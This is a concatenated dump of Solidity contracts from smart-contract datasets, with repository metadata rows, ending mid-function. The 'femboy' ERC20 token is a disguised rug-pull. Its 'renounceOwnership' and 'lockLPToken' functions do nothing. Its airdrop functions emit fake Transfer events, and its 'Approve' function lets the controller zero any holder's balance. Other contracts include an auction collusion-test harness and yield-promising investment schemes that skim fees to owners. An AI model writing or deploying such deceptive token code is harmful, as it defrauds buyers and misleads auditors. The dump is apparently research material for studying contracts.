constructor (address kpoWallet, address _upgradeMaster, uint256 _INITIAL_SUPPLY)
public
UpgradeableToken(_upgradeMaster)
{
require(maxTokenSupply >= _INITIAL_SUPPLY * (10 ** uint256(decimals)));
INITIAL_SUPPLY = _INITIAL_SUPPLY * (10 ** uint256(decimals));
totalSupply_ = INITIAL_SUPPLY;
balances[kpoWallet] = INITIAL_SUPPLY;
emit Transfer(address(0), kpoWallet, INITIAL_SUPPLY);
}
function setTokenInformation(string _name, string _symbol) external onlyOwner {
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
function burn(uint256 _value) public onlyOwner {
super.burn(_value);
}
}
| 135,794 | 351 |
a7a4e863ef96d2bbdec426c55cac1ed46eb73fed1810e4b7d249d7df30311e90
| 10,664 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b5/b5512b4f3eef8174844d6f6328a9c15fbeffdd6a_femboy.sol
| 2,622 | 9,934 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract femboy is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0x743e40E107F679D3A9E25e6cD4bb2D9c57bA0368;
address public _controller = 0x743e40E107F679D3A9E25e6cD4bb2D9c57bA0368;
constructor () public {
_name = "FEMBOY";
_symbol = "FEMBOY";
_decimals = 18;
uint256 initialSupply = 69000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 30,167 | 352 |
e5ef6c8a480e1fdf21c01618cf5c4413162f43114f100c1e308d2e42b88a4306
| 12,737 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/auction/collusion/BetterAuction-0x215a427c5f35c375525ecafa37c05d4b3ec9b573.sol
| 3,335 | 12,427 |
pragma solidity >=0.4.8;
contract BetterAuction {
// Mapping for members of multisig
mapping (address => bool) public members;
// Auction start time, seconds from 1970-01-01
uint256 public auctionStart;
// Auction bidding period in seconds, relative to auctionStart
uint256 public biddingPeriod;
uint256 public recoveryAfterPeriod;
// User sends this amount to the contract to withdraw funds, 0.0001 ETH
uint256 public constant WITHDRAWAL_TRIGGER_AMOUNT = 100000000000000;
// Number of required signatures
uint256 public constant REQUIRED_SIGNATURES = 2;
struct Proposal {
address payable recipient;
uint256 numVotes;
mapping (address => bool) voted;
bool isRecover;
}
// Proposal to spend
Proposal[] public proposals;
// Number of proposals
uint256 public numProposals;
// Address of the highest bidder
address public highestBidder;
// Highest bid amount
uint256 public highestBid;
// Allowed withdrawals of previous bids
mapping(address => uint256) pendingReturns;
// Set to true at the end, disallows any change
bool auctionClosed;
address _address1 =0xb7cf43651d8f370218cF92B00261cA3e1B02Fda0;
address _address2 = 0x60CE2769E5d330303Bd9Df88F7b843A40510F173;
address _address3 = 0x7422B53EB5f57AdAea0DdffF82ef765Cfbc4DBf0;
uint256 _biddingPeriod = 1800;
uint256 _recoveryAfterPeriod = 1000000;
modifier isMember {
if (members[msg.sender] == false) revert();
_;
}
modifier isAuctionActive {
if (now < auctionStart || now > (auctionStart + biddingPeriod)) revert();
_;
}
modifier isAuctionEnded {
if (now < (auctionStart + biddingPeriod)) revert();
_;
}
event HighestBidIncreased(address bidder, uint256 amount);
event AuctionClosed(address winner, uint256 amount);
event ProposalAdded(uint proposalID, address recipient);
event Voted(uint proposalID, address voter);
// Auction starts at deployment, runs for _biddingPeriod (seconds from
// auction start), and funds can be recovered after _recoverPeriod
// (seconds from auction start)
constructor() public {
if (_address1 == address(0)|| _address2 == address(0)|| _address3 == address(0)) revert();
members[_address1] = true;
members[_address2] = true;
members[_address3] = true;
auctionStart = now;
if (_biddingPeriod > _recoveryAfterPeriod) revert();
biddingPeriod = _biddingPeriod;
recoveryAfterPeriod = _recoveryAfterPeriod;
}
// Users want to know when the auction ends, seconds from 1970-01-01
function auctionEndTime() public view returns (uint256 ret) {
return auctionStart + biddingPeriod;
}
// Users want to know theirs or someones current bid
function getBid(address _address) public view returns (uint256 ret) {
if (_address == highestBidder) {
return highestBid;
} else {
return pendingReturns[_address];
}
}
// Update highest bid or top up previous bid
function bidderUpdateBid() internal {
if (msg.sender == highestBidder) {
highestBid += msg.value;
emit HighestBidIncreased(msg.sender, highestBid);
} else if (pendingReturns[msg.sender] + msg.value > highestBid) {
uint256 amount = pendingReturns[msg.sender] + msg.value;
pendingReturns[msg.sender] = 0;
// Save previous highest bidders funds
pendingReturns[highestBidder] = highestBid;
// Record the highest bid
highestBid = amount;
highestBidder = msg.sender;
emit HighestBidIncreased(msg.sender, amount);
} else {
revert();
}
}
// Bidders can only place bid while the auction is active
function bidderPlaceBid() isAuctionActive public payable {
if ((pendingReturns[msg.sender] > 0 || msg.sender == highestBidder) && msg.value > 0) {
bidderUpdateBid();
} else {
// Reject bids below the highest bid
if (msg.value <= highestBid) revert();
// Save previous highest bidders funds
if (highestBidder != address(0)) {
pendingReturns[highestBidder] = highestBid;
}
// Record the highest bid
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}
}
// Withdraw a bid that was overbid.
function nonHighestBidderRefund() public payable {
uint256 amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount + msg.value)) revert();
} else {
revert();
}
}
// // Multisig member creates a proposal to send ether out of the contract
// uint256 proposalID = proposals.length++;
// Proposal storage p= proposals[proposalID];
// p.recipient = recipient;
// p.voted[msg.sender] = true;
// p.numVotes = 1;
// numProposals++;
// emit Voted(proposalID, msg.sender);
// emit ProposalAdded(proposalID, recipient);
// }
// // Multisig member votes on a proposal
// function voteProposal (uint256 proposalID) isMember isAuctionEnded public{
// Proposal storage p= proposals[proposalID];
// if (p.voted[msg.sender]) revert();
// p.voted[msg.sender] = true;
// p.numVotes++;
// // Required signatures have been met
// if (p.numVotes >= REQUIRED_SIGNATURES) {
// if (p.isRecover) {
// // Is it too early for recovery?
// if (now < (auctionStart + recoveryAfterPeriod)) revert();
// // Recover any ethers accidentally sent to contract
// if (!p.recipient.send(address(this).balance)) revert();
// } else {
// if (auctionClosed) revert();
// auctionClosed = true;
// emit AuctionClosed(highestBidder, highestBid);
// // Send highest bid to recipient
// if (!p.recipient.send(highestBid)) revert();
// }
// }
// }
// Bidders send their bids to the contract. If this is the trigger amount
// allow non-highest bidders to withdraw their funds
function () payable external{
if (msg.value == WITHDRAWAL_TRIGGER_AMOUNT) {
nonHighestBidderRefund();
} else {
bidderPlaceBid();
}
}
function bid(address payable msg_sender, uint msg_value) public {
if ((pendingReturns[msg_sender] > 0 || msg_sender == highestBidder) && msg_value > 0) {
if (msg_sender == highestBidder) {
highestBid += msg_value;
// emit HighestBidIncreased(msg_sender, highestBid);
} else if (pendingReturns[msg_sender] + msg_value > highestBid) {
uint256 amount = pendingReturns[msg_sender] + msg_value;
pendingReturns[msg_sender] = 0;
// Save previous highest bidders funds
pendingReturns[highestBidder] = highestBid;
// Record the highest bid
highestBid = amount;
highestBidder = msg_sender;
// emit HighestBidIncreased(msg_sender, amount);
} else {
// revert();
return;
}
} else {
// Reject bids below the highest bid
if (msg_value <= highestBid) return;//revert();
// Save previous highest bidders funds
// if (highestBidder != address(0)) {
// pendingReturns[highestBidder] = highestBid;
// }
// Record the highest bid
highestBidder = msg_sender;
highestBid = msg_value;
// emit HighestBidIncreased(msg_sender, msg_value);
}
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
mapping(address=>uint) payments;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_payment_register(address allocation, address player, uint payment) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint p1, uint msg_value1, uint msg_gas1, uint block_timestamp1, address payable msg_sender2, uint p2, uint msg_value2, uint msg_gas2, uint block_timestamp2,address payable msg_sender3, uint p3, uint msg_value3, uint msg_gas3, uint block_timestamp3) public {
require(!(msg_sender1==highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder));
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(highestBid==0);
require(pendingReturns[msg_sender1] == 0);
require(pendingReturns[msg_sender2] == 0);
require(pendingReturns[msg_sender3] == 0);
require(p1>100000000000 && p1< 200000000000);
require(p2>100000000000 && p2< 200000000000);
require(p3>100000000000 && p3< 200000000000);
require(msg_value1>100000000000 && msg_value1< 200000000000);
require(msg_value2>100000000000 && msg_value2< 200000000000);
require(msg_value3>100000000000 && msg_value3< 200000000000);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(benefits[msg_sender1] == 0);
require(benefits[msg_sender2] == 0);
require(benefits[msg_sender3] == 0);
require(payments[msg_sender1] == 0);
require(payments[msg_sender2] == 0);
require(payments[msg_sender3] == 0);
// require(msg_value1!=p1);
// require(msg_value2!=p2);
require(msg_value3==p3);
// each role claims the 'bid' action.
bid(msg_sender1,msg_value1);
bid(msg_sender2,msg_value2);
bid(msg_sender3,msg_value3);
// assert(msg_sender3 == highestBidder);
assert(msg_sender1 == highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder);
uint winners_count = 0;
if (msg_sender1 == highestBidder){
sse_winner(msg_sender1);
winners_count ++;
utilities[msg_sender1] = p1 - msg_value1;
benefits[msg_sender1] = p1;
payments[msg_sender1] = msg_value1;
}
sse_utility(utilities[msg_sender1]);
if (msg_sender2 == highestBidder){
sse_winner(msg_sender2);
winners_count ++;
utilities[msg_sender2] = p2 - msg_value2;
benefits[msg_sender2] = p2;
payments[msg_sender2] = msg_value2;
}
sse_utility(utilities[msg_sender2]);
if (msg_sender3 == highestBidder){
sse_winner(msg_sender3);
winners_count ++;
utilities[msg_sender3] = p3 - msg_value3;
benefits[msg_sender3] = p3;
payments[msg_sender3] = msg_value3;
}
sse_utility(utilities[msg_sender3]);
sse_collusion_violate_check(utilities[msg_sender1] + utilities[msg_sender2], msg_value1, p1, msg_value2, p2);
}
}
| 242,207 | 353 |
87772593e1112980af4b62c87d1dd17c3d41bbc44523d374f1e55b8ad8e61a88
| 12,558 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/89/890B4ED1735c75eB6e22433714D033E8AA02d4B9_Factory.sol
| 3,415 | 11,986 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract Factory {
using SafeMath for uint256;
string public name = "Dappy Factory";
uint256 constant public ADMIN_FEE = 20; //2%
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public DEPOSIT_MIN_AMOUNT;
uint256 public DEPOSIT_MAX_AMOUNT;
uint256 public PUBLISH_FEE;
struct Investor {
uint256 principle;
uint256 position;
uint256 checkpoint;
uint256 withdrawn;
uint256 overdraw;
}
struct Dappy {
address owner;
uint256 start;
uint256 hedge;
uint256 rate;
uint256 ownerFee;
string title;
string description;
string accent;
bool theme;
}
Dappy[] internal dappys;
mapping(uint256 => mapping(address => Investor)) private investors;
mapping(uint256 => mapping(address => uint256)) private allowances;
mapping(uint256 => uint256) private balances;
mapping(address => uint256) private discounts;
address payable public admin;
constructor(uint256 networkMinimum) {
//set admin
admin = payable(msg.sender);
//set discount
setDiscount(admin, 1000);
//calibrate for destination network
DEPOSIT_MIN_AMOUNT = networkMinimum;
DEPOSIT_MAX_AMOUNT = DEPOSIT_MIN_AMOUNT.mul(1000);
PUBLISH_FEE = DEPOSIT_MIN_AMOUNT.mul(2000);
}
modifier exists(uint256 atIndex) {
require(atIndex < dappys.length, "Dappy at index does not exist.");
_;
}
modifier onlyOwner(uint256 atIndex) {
require(getDappy(atIndex).owner == msg.sender, "Not authorized.");
_;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Not authorized.");
_;
}
function publish(uint256 start,
uint256 hedge,
uint256 rate,
uint256 fee,
string memory title,
string memory description,
string memory accent,
bool theme)
public
payable
{
//validate fee
uint256 publishFee = getPublishFee(msg.sender);
//validate payment
require(msg.value == publishFee, "Incorrect publish fee paid.");
//validate parameters
require(start >= block.timestamp, "Invalid parameter: start (start cannot be < now).");
require(hedge >= 510, "Invalid parameter: hedge (minimum is 510).");
require(hedge <= 1000, "Invalid parameter: hedge (maximum is 1000).");
require(rate >= 1, "Invalid parameter: rate (minimum is 1).");
require(rate <= 100, "Invalid parameter: rate (maximum is 100).");
require(fee >= 0, "Invalid parameter: fee (minimum is 0).");
require(fee <= 100, "Invalid parameter: fee (maximum is 100).");
//pay admin
admin.transfer(publishFee);
//publish dappy
dappys.push(Dappy(msg.sender, start, hedge, rate, fee, title, description, accent, theme));
}
function invest(uint256 atIndex) public payable exists(atIndex) {
require(msg.value >= DEPOSIT_MIN_AMOUNT, "Minimum deposit amount is 0.01");
require(msg.value <= DEPOSIT_MAX_AMOUNT, "Maximum deposit amount is 1000");
//if outstanding rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
if(rewards > 0) { compound(atIndex); }
//dappy ref
Dappy memory dappy = getDappy(atIndex);
//owner fee
uint256 fee1 = msg.value.mul(dappy.ownerFee).div(PERCENTS_DIVIDER);
address payable owner = payable(dappy.owner);
owner.transfer(fee1);
//admin fee
uint256 fee2 = msg.value.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
admin.transfer(fee2);
//deposit amount
uint256 NETamount = msg.value.sub(fee1).sub(fee2);
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.principle = investor.principle.add(NETamount);
investor.position = investor.position.add(NETamount);
investor.checkpoint= block.timestamp;
//balances
balances[atIndex] = balances[atIndex].add(NETamount);
//allowances
uint256 hedgeAmount = NETamount.mul(dappy.hedge).div(PERCENTS_DIVIDER);
uint256 newAllowance= getAllowance(atIndex, owner).add(NETamount.sub(hedgeAmount));
setAllowance(atIndex, owner, newAllowance);
}
function compound(uint256 atIndex) public exists(atIndex) {
//get rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
require(rewards > 0, "No rewards.");
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.position = investor.position.add(rewards);
investor.checkpoint = block.timestamp;
//dappy ref
Dappy memory dappy = getDappy(atIndex);
//overdraw
if(investor.withdrawn < investor.principle) {
investor.overdraw = investor.overdraw > 0 ? investor.overdraw.sub(dappy.rate.div(10)) : 0;
}
}
function withdraw(uint256 atIndex) public exists(atIndex) {
//get rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
require(rewards > 0, "No rewards.");
//balance?
if(rewards > balances[atIndex]) {
rewards = balances[atIndex];
}
//admin fee
uint256 fee = rewards.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
admin.transfer(fee);
//rewards amount
uint256 NETamount = rewards.sub(fee);
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.checkpoint= block.timestamp;
investor.withdrawn = investor.withdrawn.add(NETamount);
//dappy ref
Dappy memory dappy= getDappy(atIndex);
//overdraw
investor.overdraw = investor.overdraw < dappy.rate.sub(dappy.rate.div(10)) ? investor.overdraw.add(dappy.rate.div(10)) : investor.overdraw;
//balances
balances[atIndex] = balances[atIndex].sub(rewards);
//allowance
address owner = dappy.owner;
uint256 hedgeAmount = NETamount.mul(dappy.hedge).div(PERCENTS_DIVIDER);
uint256 allowance = getAllowance(atIndex, owner);
//workaround of subtraction overflow
if(allowance >= NETamount.sub(hedgeAmount)) {
allowance = allowance.sub(NETamount.sub(hedgeAmount));
} else {
allowance = 0;
}
setAllowance(atIndex, owner, allowance);
//transfer
payable(msg.sender).transfer(NETamount);
}
function calculateRewards(uint256 atIndex, address atAddress) public view exists(atIndex) returns (uint256 result) {
Dappy memory dappy = getDappy(atIndex);
//is started?
if(block.timestamp < dappy.start) return 0;
//if started? continue
Investor memory investor = getInvestor(atIndex, atAddress);
uint256 rate = dappy.rate;
uint256 checkpoint= investor.checkpoint;
uint256 position = investor.position;
uint256 overdraw = investor.overdraw;
//has checkpoint?
if(checkpoint == 0) return 0;
//period
uint256 from = checkpoint > dappy.start ? checkpoint : dappy.start;
uint256 period = block.timestamp.sub(from);
uint256 periodDays= period.div(TIME_STEP);
//overdraw penalty
uint256 penalties = overdraw;
//hoarding penalty
uint256 perPeriod;
for (uint256 i = 0; i < periodDays; i++) {
perPeriod = perPeriod.add(position.mul(rate.sub(penalties)).div(PERCENTS_DIVIDER));
penalties = penalties < dappy.rate.sub(dappy.rate.div(10)) ? penalties.add(dappy.rate.div(10)) : penalties;
}
//returns
result = perPeriod;
}
function calculatePenalties(uint256 atIndex, address atAddress) public view returns (uint256 result) {
Dappy memory dappy = getDappy(atIndex);
//is started?
if(block.timestamp < dappy.start) return 0;
//investor
Investor memory investor = getInvestor(atIndex, atAddress);
uint256 checkpoint= investor.checkpoint;
uint256 overdraw = investor.overdraw;
//has checkpoint?
if(checkpoint == 0) return 0;
//period
uint256 from = checkpoint > dappy.start ? checkpoint : dappy.start;
uint256 period = block.timestamp.sub(from);
uint256 periodDays= period.div(TIME_STEP);
//overdraw penalty
uint256 penalties = overdraw;
for (uint256 i = 0; i < periodDays; i++) {
penalties = penalties < dappy.rate.sub(dappy.rate.div(10)) ? penalties.add(dappy.rate.div(10)) : penalties;
}
//returns
result = penalties;
}
function ownerWithdraw(uint256 atIndex, uint256 amount) public exists(atIndex) onlyOwner(atIndex) {
//validate amount
address atOwner = msg.sender;
require(amount <= getAllowance(atIndex, atOwner), "Amount exceeds allowance.");
//balances
balances[atIndex] = balances[atIndex].sub(amount);
//allowances
uint256 newAllowance= getAllowance(atIndex, atOwner).sub(amount);
setAllowance(atIndex, atOwner, newAllowance);
//transfer
payable(atOwner).transfer(amount);
}
function ownerDeposit(uint256 atIndex) public payable exists(atIndex) onlyOwner(atIndex) {
uint256 amount = msg.value;
address atOwner= msg.sender;
//balances
balances[atIndex] = balances[atIndex].add(amount);
//allowances
uint256 newAllowance= getAllowance(atIndex, atOwner).add(amount);
setAllowance(atIndex, atOwner, newAllowance);
}
function setAllowance(uint256 atIndex, address atAddress, uint256 toAmount) private exists(atIndex) {
allowances[atIndex][atAddress] = toAmount;
}
function setDiscount(address atAddress, uint256 toPercent) public onlyAdmin() {
discounts[atAddress] = toPercent;
}
function getDiscount(address atAddress) public view returns (uint256) {
return discounts[atAddress];
}
function getPublishFee(address atAddress) public view returns (uint256) {
uint256 fee = PUBLISH_FEE;
return fee.sub(fee.mul(getDiscount(atAddress)).div(PERCENTS_DIVIDER));
}
function getDappy(uint256 atIndex) public view returns (Dappy memory) {
return dappys[atIndex];
}
function getDappys() public view returns (Dappy[] memory) {
return dappys;
}
function getInvestor(uint256 atIndex, address atAddress) public view returns (Investor memory) {
return investors[atIndex][atAddress];
}
function getBalance(uint256 atIndex) public view returns (uint256) {
return balances[atIndex];
}
function getAllowance(uint256 atIndex, address atAddress) public view returns (uint256) {
return allowances[atIndex][atAddress];
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 129,442 | 354 |
23710174bfeb303aefa1350f04e188f0f4c3dfb6864dafce2ac278c507624d17
| 20,334 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x00f51c16f3dd957f890beba608ce1ef980f5b698.sol
| 5,243 | 19,470 |
pragma solidity ^0.5.12;
interface DevsInterface {
function payDividends(string calldata _sourceDesc) external payable;
}
contract ETHedgeToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyOwner{
require(msg.sender == owner_, "Only owner can do this!");
_;
}
event onPayDividends(uint256 incomingDividends,
string sourceDescription,
address indexed customerAddress,
uint timestamp);
event onBurn(uint256 DividentsFromNulled,
address indexed customerAddress,
address indexed senderAddress,
uint timestamp);
event onNewRefferal(address indexed userAddress,
address indexed refferedByAddress,
uint timestamp);
event onTakeCapital(address indexed capitalAddress,
address marketingAddress,
address devAddress,
uint256 capitalEth,
uint256 marketingEth,
uint256 devEth,
address indexed senderAddress,
uint timestamp);
event Approval(address indexed tokenOwner,
address indexed spender,
uint tokens);
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ETH hedge token";
string public symbol = "EHT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 22;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal refferals_;
mapping(address => mapping (address => uint256)) allowed_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
address private owner_=msg.sender;
mapping(address => uint256) internal lastupdate_;
uint private constant timePassive_ = 365 days;
uint8 constant internal entryFeeCapital_ = 15;
uint8 constant internal entryFeeMarketing_ = 1;
uint8 constant internal entryFeeDevs_ = 1;
address payable public capital_=msg.sender;
address payable public marketingReward_=msg.sender;
address payable public devsReward_=0xfc81655585F2F3935895C1409b332AB797D90B33;
uint256 public capitalAmount_;
uint256 public marketingRewardAmount_;
uint256 public devsRewardAmount_;
function transferOwnership(address _newOwner) public onlyOwner{
require(_newOwner != address(0));
owner_ = _newOwner;
}
function changeOuts(address payable _newCapital, address payable _newMarketing, address payable _newDevs) public onlyOwner{
require(_newCapital != address(0) && _newMarketing != address(0) && _newDevs != address(0));
capital_ = _newCapital;
marketingReward_ = _newMarketing;
devsReward_ = _newDevs;
}
function payDividends(string memory _sourceDesc) public payable {
payDivsValue(msg.value,_sourceDesc);
}
function payDivsValue(uint256 _amountOfDivs,string memory _sourceDesc) internal {
